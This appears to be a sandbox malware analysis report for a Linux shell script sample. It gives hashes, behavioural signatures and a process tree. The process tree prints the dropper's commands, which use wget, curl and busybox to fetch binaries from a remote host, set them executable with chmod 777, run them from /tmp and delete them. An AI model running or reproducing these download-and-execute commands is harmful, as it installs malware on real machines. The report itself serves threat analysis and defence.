Analysis
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max time kernel
147s -
max time network
151s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240729-en -
resource tags
arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
25/11/2024, 02:43
Static task
static1
Behavioral task
behavioral1
Sample
99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh
Resource
debian9-mipsel-20240729-en
General
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Target
99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh
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Size
10KB
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MD5
01901ff2d037e722d3824326fb92b79a
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SHA1
e06031bbd3407d4b35228a26b1e27b1ef3f600f3
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SHA256
99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339
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SHA512
83c192b3146c96b129597142ce68bf66cab3aecf299770481e1cb1127bed05d5fad7ce5891567a2f29c5a5aa344d69713673c3d98fd81796beb896ce84ef073a
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SSDEEP
192:aBxoP799s9W4oEyoESoExoEcoEgoEpNS7deoEyoESoExoEcoEgoE8BxoP794:P9s9W9ELErEeEBElErS7BELErEeEBElh
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 849 chmod 856 chmod -
Executes dropped EXE 2 IoCs
ioc pid Process /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9 850 mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9 /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH 857 BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 7 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 853 curl 855 busybox 859 wget 745 wget 764 curl 770 busybox 852 wget -
Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH curl File opened for modification /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9 curl
Processes
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/tmp/99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh/tmp/99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh1⤵PID:739
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/bin/rm/bin/rm bins.sh2⤵PID:742
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF92⤵
- System Network Configuration Discovery
PID:745
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF92⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:764
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF92⤵
- System Network Configuration Discovery
PID:770
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/bin/chmodchmod 777 mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF92⤵
- File and Directory Permissions Modification
PID:849
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/tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9./mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF92⤵
- Executes dropped EXE
PID:850
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/bin/rmrm mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF92⤵PID:851
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH2⤵
- System Network Configuration Discovery
PID:852
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:853
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH2⤵
- System Network Configuration Discovery
PID:855
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/bin/chmodchmod 777 BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH2⤵
- File and Directory Permissions Modification
PID:856
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/tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH./BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH2⤵
- Executes dropped EXE
PID:857
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/bin/rmrm BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH2⤵PID:858
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws2⤵
- System Network Configuration Discovery
PID:859
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97